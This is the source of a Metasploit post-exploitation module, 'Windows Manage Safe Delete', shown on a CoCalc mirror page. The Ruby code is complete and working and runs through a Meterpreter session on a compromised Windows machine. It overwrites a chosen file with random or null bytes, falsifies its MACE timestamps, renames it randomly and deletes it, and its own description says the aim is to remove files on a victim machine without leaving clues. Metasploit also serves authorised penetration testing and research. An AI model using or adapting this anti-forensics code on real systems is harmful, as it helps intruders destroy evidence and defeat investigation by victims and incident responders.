Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/sdel.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::File
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Manage Safe Delete',
15
'Description' => %q{
16
The goal of the module is to hinder the recovery of deleted files by overwriting
17
its contents. This could be useful when you need to download some file on the victim
18
machine and then delete it without leaving clues about its contents. Note that the script
19
does not wipe the free disk space so temporary/sparse/encrypted/compressed files could
20
not be overwritten. Note too that MTF entries are not overwritten so very small files
21
could stay resident within the stream descriptor.
22
},
23
'License' => BSD_LICENSE,
24
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
priv_fs_set_file_mace
31
stdapi_fs_stat
32
stdapi_railgun_api
33
stdapi_sys_config_getenv
34
]
35
}
36
},
37
'Notes' => {
38
'Stability' => [CRASH_SAFE],
39
'SideEffects' => [],
40
'Reliability' => []
41
}
42
)
43
)
44
45
register_options([
46
OptBool.new('ZERO', [ false, 'Zero overwrite. If set to false, random data will be used', false]),
47
OptInt.new('ITERATIONS', [false, 'The number of overwrite passes', 1 ]),
48
OptString.new('FILE', [true, 'File to be deleted', ''])
49
])
50
end
51
52
def run
53
type = 1
54
n = datastore['ITERATIONS']
55
file = datastore['FILE']
56
57
if datastore['ZERO']
58
type = 0
59
print_status('The file will be overwritten with null bytes')
60
end
61
62
if !file_exist?(file)
63
print_error("File #{file} does not exist")
64
return
65
elsif comp_encr(file)
66
print_status('File compress or encrypted. Content could not be overwritten!')
67
end
68
file_overwrite(file, type, n)
69
end
70
71
# Function to calculate the size of the cluster
72
def size_cluster
73
drive = session.sys.config.getenv('SystemDrive')
74
r = session.railgun.kernel32.GetDiskFreeSpaceA(drive, 4, 4, 4, 4)
75
cluster = r['lpBytesPerSector'] * r['lpSectorsPerCluster']
76
print_status("Cluster Size: #{cluster}")
77
78
return cluster
79
end
80
81
# Function to calculate the real file size on disk (file size + slack space)
82
def size_on_disk(file)
83
size_file = session.fs.file.stat(file).size
84
print_status("Size of the file: #{size_file}")
85
86
if (size_file < 800)
87
print_status("The file is too small. If it's store in the MTF (NTFS) sdel will not overwrite it!")
88
end
89
90
cluster_size = size_cluster
91
size_ = size_file.divmod(cluster_size)
92
93
if size_.last != 0
94
real_size = (size_.first * cluster_size) + cluster_size
95
else
96
real_size = size_.first * cluster_size
97
end
98
99
print_status("Size on disk: #{real_size}")
100
return real_size
101
end
102
103
# Change MACE attributes. Get a fake date by subtracting N days from the current date
104
def change_mace(file)
105
rsec = Rex::Text.rand_text_numeric(7, '012')
106
date = Time.now - rsec.to_i
107
print_status('Changing MACE attributes')
108
session.priv.fs.set_file_mace(file, date, date, date, date)
109
end
110
111
# Function to overwrite the file
112
def file_overwrite(file, type, num)
113
# FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk
114
r = session.railgun.kernel32.CreateFileA(file, 'GENERIC_WRITE', 'FILE_SHARE_READ|FILE_SHARE_WRITE', nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH', 0)
115
handle = r['return']
116
real_size = size_on_disk(file)
117
118
if type == 0
119
random = "\0" * real_size
120
end
121
122
i = 0
123
num.times do
124
i += 1
125
print_status("Iteration #{i}/#{num}:")
126
127
if type == 1
128
random = Rex::Text.rand_text(real_size, nil)
129
end
130
131
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx
132
session.railgun.kernel32.SetFilePointer(handle, 0, nil, 'FILE_BEGIN')
133
134
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx
135
w = session.railgun.kernel32.WriteFile(handle, random, real_size, 4, nil)
136
137
if w['return'] == false
138
print_error('The was an error writing to disk, check permissions')
139
return
140
end
141
142
print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten")
143
end
144
145
session.railgun.kernel32.CloseHandle(handle)
146
change_mace(file)
147
148
# Generate a long random file name before delete it
149
newname = Rex::Text.rand_text_alpha(200, nil)
150
print_status('Changing file name')
151
152
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx
153
session.railgun.kernel32.MoveFileA(file, newname)
154
155
file_rm(newname)
156
print_good('File erased!')
157
end
158
159
# Check if the file is encrypted or compressed
160
def comp_encr(file)
161
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx
162
handle = session.railgun.kernel32.GetFileAttributesA(file)
163
type = handle['return']
164
165
# FILE_ATTRIBUTE_COMPRESSED=0x800
166
# FILE_ATTRIBUTE_ENCRYPTED=0x4000
167
if (type & (0x4800)).nonzero?
168
return true
169
end
170
171
return false
172
end
173
end
174
175